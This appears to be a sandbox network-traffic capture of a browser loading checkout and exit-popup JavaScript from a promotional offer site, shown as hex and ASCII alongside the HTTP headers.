2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6e 61 6d 65 3d 22 2b 63 4e 61 6d 65 2b 22 5d 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 62 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 53 65 6c 65 63 74 6f 72 73 5b 22 7a 69 70 22 5d 20 3d 20 22 5b 6e 61 6d 65 3d 62 69 6c 6c 69 6e 67 5a 69 70 5d 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 0a 0a 20 20 20 20 20 20 20 20 5f 73 65 6c 66 2e 66 69 6e 64 28 63 62 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 53 65 6c 65 63 74 6f 72 73 2e 7a 69 70 29 2e 62 6c 75 72 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 72 65 71 75 69 72 65 64 Data Ascii: name="+cName+"]"; cb.formElementSelectors["zip"] = "[name=billingZip]"; } } }); _self.find(cb.formElementSelectors.zip).blur(function () { if (!$(this).hasClass('required
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 63 62 2e 76 61 6c 69 64 43 6c 61 73 73 29 2e 61 64 64 43 6c 61 73 73 28 63 62 2e 65 72 72 6f 72 43 6c 61 73 73 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 0a 20 20 20 20 20 20 20 20 5f 73 65 6c 66 2e 66 69 6e 64 28 63 62 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 53 65 6c 65 63 74 6f 72 73 2e 70 68 6f 6e 65 29 2e 62 6c 75 72 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 72 65 71 75 69 72 65 64 27 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 Data Ascii: } $(this).removeClass(cb.validClass).addClass(cb.errorClass); }); _self.find(cb.formElementSelectors.phone).blur(function () { if (!$(this).hasClass('required')) { return; }
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 22 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 61 70 70 5f 63 6f 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 5f 74 63 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 61 70 70 5f 63 6f 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 5f 74 63 2e 6c 65 6e 67 74 68 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 61 6c 6c 6f 77 65 64 5f 74 63 20 3d 20 63 62 2e 64 65 63 72 79 70 74 41 6c 6c 6f 77 65 64 54 65 73 74 43 61 72 64 28 61 70 70 5f 63 6f 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 5f 74 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 73 54 65 73 74 43 61 72 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 Data Ascii: ""); if (typeof app_config.allowed_tc !== 'undefined' && app_config.allowed_tc.length) { var allowed_tc = cb.decryptAllowedTestCard(app_config.allowed_tc); var isTestCard = false; $
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 65 72 66 6f 72 6d 52 65 67 75 6c 61 72 42 6c 75 72 45 76 65 6e 74 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 63 62 2e 65 72 72 6f 72 43 6c 61 73 73 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 69 64 61 74 6f 72 2e 69 73 56 61 6c 69 64 43 76 76 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 74 68 69 73 29 Data Ascii: ) { return; } performRegularBlurEvent($(this)); if ($(this).hasClass(cb.errorClass)) { return; } if (validator.isValidCvv($(this).val())) { $(this)
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 27 6d 61 78 2d 6c 65 6e 67 74 68 27 29 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 4c 65 6e 67 74 68 20 3d 20 70 61 72 73 65 49 6e 74 28 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 27 6d 61 78 2d 6c 65 6e 67 74 68 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 2e 6c 65 6e 67 74 68 20 3c 20 6d 69 6e 4c 65 6e 67 74 68 20 7c 7c 20 76 61 6c 75 65 2e 6c 65 6e 67 74 68 20 3e 20 6d 61 78 4c 65 6e 67 74 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 Data Ascii: if (typeof element.data('max-length') !== 'undefined') { maxLength = parseInt(element.data('max-length')); } if (value.length < minLength \|\| value.length > maxLength) { return; }
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 64 61 74 69 6f 6e 20 64 69 66 66 65 72 65 6e 74 6c 79 20 69 66 20 75 73 65 72 20 73 65 6c 65 63 74 73 20 50 61 79 50 61 6c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 66 69 65 6c 64 73 20 3d 20 5b 27 63 72 65 64 69 74 43 61 72 64 4e 75 6d 62 65 72 27 2c 20 27 65 78 70 6d 6f 6e 74 68 27 2c 20 27 65 78 70 79 65 61 72 27 2c 20 27 43 56 56 27 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 61 72 64 54 79 70 65 20 3d 20 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 63 75 6c 61 74 65 43 76 76 4d 61 78 6c 65 6e 67 74 68 28 63 61 72 64 54 79 70 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 2e 65 61 63 68 28 66 69 65 6c 64 73 2c 20 66 75 6e 63 74 69 Data Ascii: dation differently if user selects PayPal */ var fields = ['creditCardNumber', 'expmonth', 'expyear', 'CVV']; var cardType = $(this).val(); calculateCvvMaxlength(cardType); $.each(fields, functi
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 44 69 72 65 63 74 44 65 62 69 74 28 27 73 68 6f 77 27 29 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 65 6c 73 65 20 69 66 20 28 63 61 72 64 54 79 70 65 20 3d 3d 20 27 73 71 75 61 72 65 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 5b 6e 61 6d 65 3d 27 20 2b 20 66 69 65 6c 64 20 2b 20 27 5d 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 72 65 71 75 69 72 65 64 27 29 2e 63 6c 6f 73 65 73 74 28 27 70 2c 20 64 69 76 27 29 2e 68 69 64 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 53 71 75 61 72 65 28 27 73 68 6f 77 27 29 3b 0a Data Ascii: callDirectDebit('show'); }else if (cardType == 'square') { $('[name=' + field + ']').removeClass('required').closest('p, div').hide(); callSquare('show');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.16	49848	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	458	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/app.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:52 UTC	791	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D29vXmxpWEx0wvZVpRCQ95QeurrGVPSwrzdCqG%2BMyR97BnHON2wBD3%2BnI4SfEkik6inB33U2%2BBYbBKdukYF9uWgznXULADqqjhMMfflcVCYVEGxaJHL2AhuH%2FinXTTAgTT%2FQ%2BH6XoBBroewB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4199ee874408-EWR alt-svc: h3=":443"; ma=86400
2024-10-03 16:19:52 UTC	578	IN	Data Raw: 33 31 31 34 0d 0a 2f 2a 2a 0a 20 2a 20 43 68 61 6e 67 65 20 4c 6f 67 3a 0a 20 2a 20 23 20 43 75 73 74 6f 6d 20 45 72 72 6f 72 2f 53 75 63 63 65 73 73 20 63 61 6c 6c 62 61 63 6b 73 0a 20 2a 20 23 20 74 65 73 74 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 20 20 24 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 24 28 27 66 6f 72 6d 5b 6e 61 6d 65 3d 70 72 6f 73 70 65 63 74 5f 66 6f 72 6d 31 5d 27 29 2e 66 6f 72 6d 48 61 6e 64 6c 65 72 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 79 70 65 3a 20 27 70 72 6f 73 70 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 72 72 6f 72 4d 6f 64 61 6c 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 75 74 6f 46 69 6c 6c 46 6f 72 6d 45 6c 65 6d 65 6e Data Ascii: 3114/** * Change Log: * # Custom Error/Success callbacks * # test */(function ($) { $(function () { $('form[name=prospect_form1]').formHandler({ type: 'prospect', errorModal: true, autoFillFormElemen
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 20 20 20 20 2f 2f 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 6f 6e 53 75 63 63 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 73 70 6f 6e 73 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 52 65 73 70 6f 6e 73 65 3a 20 27 2c 20 72 65 73 70 6f 6e 73 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 6f 6e 45 72 72 6f 72 3a 20 66 75 6e 63 74 69 6f 6e 20 28 72 65 73 70 6f 6e 73 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 52 65 73 70 6f 6e 73 65 3a 20 27 2c 20 72 65 73 70 6f 6e 73 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 7d 0a 20 20 20 20 Data Ascii: // }, // onSuccess: function (response) { // console.log('Response: ', response); // }, // onError: function (response) { // console.log('Response: ', response); // }
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 20 20 20 20 64 69 76 3a 20 27 23 6c 6f 61 64 69 6e 67 2d 69 6e 64 69 63 61 74 6f 72 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 69 6d 65 49 6e 4f 75 74 3a 20 30 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 72 65 73 70 6f 6e 73 65 4c 6f 61 64 65 72 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 64 69 76 3a 20 27 23 63 72 6d 2d 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 61 69 6e 65 72 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 20 74 69 6d 65 49 6e 4f 75 74 3a 20 30 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 0a 20 20 20 20 20 20 20 20 24 28 27 66 6f 72 6d 5b 6e 61 6d 65 3d 64 6f 77 6e 73 65 6c 6c 5f 66 6f 72 6d Data Ascii: div: '#loading-indicator', timeInOut: 0 }, // responseLoader: { // div: '#crm-response-container', // timeInOut: 0 // } }); $('form[name=downsell_form
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 20 69 73 4d 75 6c 74 69 70 6c 65 46 69 72 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 66 66 28 27 63 6c 69 63 6b 27 2c 20 27 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 5f 63 6c 6f 73 65 27 29 3b 0a 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 27 63 6c 69 63 6b 27 2c 20 27 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 5f 63 6c 6f 73 65 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 Data Ascii: isMultipleFire = true; return false; } }); $(document).off('click', '#app_common_modal_close'); $(document).on('click', '#app_common_modal_close', function (event) { event.preventD
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 20 3d 20 30 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 41 6e 69 6d 61 74 69 6f 6e 28 29 20 7b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6c 6f 61 64 65 72 49 6d 61 67 65 27 29 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 20 3d 20 27 75 72 6c 28 27 20 2b 20 63 49 6d 61 67 65 53 72 63 20 2b 20 27 29 27 3b 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6c 6f 61 64 65 72 49 6d 61 67 65 27 29 2e 73 74 79 6c 65 2e 77 69 64 74 68 20 3d 20 63 57 69 64 74 68 20 2b 20 27 70 78 27 3b 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6c 6f 61 64 65 72 49 6d 61 67 65 27 29 2e 73 74 79 6c 65 2e 68 65 69 67 68 Data Ascii: = 0;function startAnimation() { document.getElementById('loaderImage').style.backgroundImage = 'url(' + cImageSrc + ')'; document.getElementById('loaderImage').style.width = cWidth + 'px'; document.getElementById('loaderImage').style.heigh
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 20 20 63 49 6d 61 67 65 54 69 6d 65 6f 75 74 20 3d 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 2c 20 30 29 0a 20 20 20 20 7d 3b 0a 20 20 20 20 67 2f 2f 65 6e 49 6d 61 67 65 2e 6f 6e 65 72 72 6f 72 20 3d 20 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 27 61 6c 65 72 74 28 5c 27 43 6f 75 6c 64 20 6e 6f 74 20 6c 6f 61 64 20 74 68 65 20 69 6d 61 67 65 5c 27 29 27 29 3b 0a 20 20 20 20 67 65 6e 49 6d 61 67 65 2e 73 72 63 20 3d 20 73 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 6f 70 65 6e 4e 65 77 57 69 6e 64 6f 77 28 70 61 67 65 5f 75 72 6c 2c 20 74 79 70 65 2c 20 77 69 6e 64 6f 77 5f 6e 61 6d 65 2c 20 77 69 64 74 68 2c 20 68 65 69 67 68 74 2c 20 74 6f 70 2c 20 6c 65 66 74 2c 20 66 65 61 74 75 72 65 73 29 20 7b 0a 20 20 20 20 69 66 20 28 21 74 79 70 65 29 20 7b 0a 20 Data Ascii: cImageTimeout = setTimeout(fun, 0) }; g//enImage.onerror = new Function('alert(\'Could not load the image\')'); genImage.src = s;}function openNewWindow(page_url, type, window_name, width, height, top, left, features) { if (!type) {
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 20 3f 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 20 3a 20 28 65 76 65 6e 74 2e 72 65 74 75 72 6e 56 61 6c 75 65 20 3d 20 66 61 6c 73 65 29 3b 0a 20 20 20 20 72 65 74 75 72 6e 20 6f 70 65 6e 4e 65 77 57 69 6e 64 6f 77 28 70 61 67 65 5f 75 72 6c 2c 20 74 79 70 65 2c 20 77 69 6e 64 6f 77 5f 6e 61 6d 65 29 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 71 75 65 72 79 53 74 72 69 6e 67 28 29 20 7b 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 5f 73 74 72 69 6e 67 20 3d 20 7b 7d 3b 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 0a 20 20 20 20 76 61 72 20 76 61 72 73 20 3d 20 71 75 65 72 Data Ascii: t.preventDefault ? event.preventDefault() : (event.returnValue = false); return openNewWindow(page_url, type, window_name);}function queryString() { var query_string = {}; var query = window.location.search.substring(1); var vars = quer
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 61 6c 75 65 3d 22 6e 65 77 5f 6f 72 64 65 72 22 20 2f 3e 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 29 3b 0a 7d 0a 0a 76 61 72 20 41 70 70 48 65 6c 70 65 72 73 20 3d 20 7b 0a 20 20 20 20 64 65 6c 61 79 3a 20 33 30 30 30 30 2c 0a 20 20 20 20 64 65 6c 61 79 4f 72 64 65 72 50 72 6f 63 65 73 73 69 6e 67 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 2e 61 6a 61 78 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 72 6c 3a 20 27 61 6a 61 78 2e 70 68 70 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 3a 20 7b 0a 20 20 20 20 20 20 20 Data Ascii: alue="new_order" />'); } } });}var AppHelpers = { delay: 30000, delayOrderProcessing: function () { setInterval(function () { $.ajax({ url: 'ajax.php', data: {
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 65 28 7b 7d 2c 20 27 27 2c 20 27 27 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 78 76 65 72 69 66 79 43 75 73 74 6f 6d 48 74 6d 6c 28 63 6f 72 72 65 63 74 65 64 41 64 64 72 65 73 73 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 5b 27 3c 75 6c 3e 27 2c 0a 20 20 20 20 20 20 20 20 27 3c 6c 69 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 32 30 70 78 22 3e 3c 2f 6c 69 3e 27 2c 0a 20 20 20 20 20 20 20 20 27 3c 6c 69 3e 57 65 20 73 75 67 67 65 73 74 20 79 6f 75 20 74 6f 20 75 73 65 20 74 68 65 20 6f 6e 65 20 62 65 6c 6f 77 2c 3c 2f 6c 69 3e 27 2c 0a 20 20 20 20 20 20 20 20 27 3c 6c 69 3e 3c 62 3e 20 27 20 2b 20 63 6f 72 72 65 63 74 65 64 41 64 64 72 65 73 73 20 2b 20 27 3c 2f 62 3e 3c 2f 6c 69 3e 27 2c 0a 20 20 20 Data Ascii: e({}, '', ''); } }}function xverifyCustomHtml(correctedAddress) { return ['<ul>', '<li style="height:20px"></li>', '<li>We suggest you to use the one below,</li>', '<li><b> ' + correctedAddress + '</b></li>',
2024-10-03 16:19:52 UTC	1042	IN	Data Raw: 66 6f 72 45 61 63 68 28 66 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 66 2e 6e 61 6d 65 20 3d 3d 20 27 63 68 65 63 6b 6f 75 74 5f 66 6f 72 6d 27 20 7c 7c 20 66 2e 6e 61 6d 65 20 3d 3d 20 27 64 6f 77 6e 73 65 6c 6c 5f 66 6f 72 6d 31 27 20 7c 7c 20 66 2e 6e 61 6d 65 20 3d 3d 20 27 64 6f 77 6e 73 65 6c 6c 5f 66 6f 72 6d 32 27 20 7c 7c 20 66 2e 6e 61 6d 65 20 3d 3d 20 27 69 73 2d 75 70 73 65 6c 6c 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 69 64 46 6f 72 6d 45 78 69 73 74 73 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 29 0a 20 20 20 20 69 66 20 28 76 61 6c 69 64 46 6f 72 6d 45 78 69 73 74 73 29 20 7b 0a 20 20 20 20 20 20 20 20 66 65 74 63 68 28 61 70 70 5f 63 6f 6e 66 69 67 2e 6f 66 66 65 72 5f 70 61 74 Data Ascii: forEach(f => { if (f.name == 'checkout_form' \|\| f.name == 'downsell_form1' \|\| f.name == 'downsell_form2' \|\| f.name == 'is-upsell') { validFormExists = true; } }) if (validFormExists) { fetch(app_config.offer_pat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.16	49849	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	460	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/outro.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:52 UTC	767	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eTGOFgNaZni%2BZgBlZN9mS4zNIeGB9AuZeD7lxsPqjf9tV%2BDqiiB%2B7TBNOehf6fCtAb6KaWKK2YG%2FdV%2FeoTismabthq%2BW6FQWg197%2BERv%2BXOt0A900oKG0mU%2B6Z9nyj2XhnnO5PNVTUzK5Pvc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4199edc642e0-EWR
2024-10-03 16:19:52 UTC	602	IN	Data Raw: 31 31 35 61 0d 0a 2f 2f 20 76 61 72 20 6f 66 66 65 72 44 65 74 61 69 6c 53 74 65 70 20 3d 20 27 6f 66 66 65 72 5f 64 65 74 61 69 6c 73 5f 73 74 65 70 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 6f 66 66 65 72 5f 63 75 72 72 65 6e 74 5f 73 74 65 70 2e 74 6f 53 74 72 69 6e 67 28 29 3b 0d 0a 2f 2f 20 76 61 72 20 65 78 69 74 50 6f 70 75 70 20 3d 20 27 65 78 69 74 5f 70 6f 70 75 70 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 64 6f 77 6e 73 65 6c 6c 5f 63 75 72 72 65 6e 74 5f 73 74 65 70 2e 74 6f 53 74 72 69 6e 67 28 29 20 2b 20 27 5f 65 6e 61 62 6c 65 64 27 3b 0d 0a 2f 2f 20 76 61 72 20 65 78 69 74 50 6f 70 75 70 45 6c 65 6d 20 3d 20 27 65 78 69 74 5f 70 6f 70 75 70 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 64 6f 77 6e 73 65 6c 6c 5f 63 75 72 72 65 6e 74 Data Ascii: 115a// var offerDetailStep = 'offer_details_step' + app_config.offer_current_step.toString();// var exitPopup = 'exit_popup' + app_config.downsell_current_step.toString() + '_enabled';// var exitPopupElem = 'exit_popup' + app_config.downsell_current
2024-10-03 16:19:52 UTC	1369	IN	Data Raw: 66 69 67 2e 65 78 69 74 5f 70 6f 70 75 70 5f 65 6c 65 6d 65 6e 74 5f 69 64 29 2e 6c 65 6e 67 74 68 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 62 2e 69 67 6e 6f 72 65 45 78 69 74 50 6f 70 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 27 20 2b 20 61 70 70 5f 63 6f 6e 66 69 67 2e 65 78 69 74 5f 70 6f 70 75 70 5f 65 6c 65 6d 65 6e 74 5f 69 64 29 2e 73 68 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 22 57 61 6e 74 20 74 6f 20 65 78 69 74 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 3b 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 28 6a 51 75 65 72 79 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 6f 75 69 62 6f 75 6e 63 Data Ascii: fig.exit_popup_element_id).length) { cb.ignoreExitPop = true; $('#' + app_config.exit_popup_element_id).show(); return "Want to exit"; } }; });})(jQuery);function ouibounc
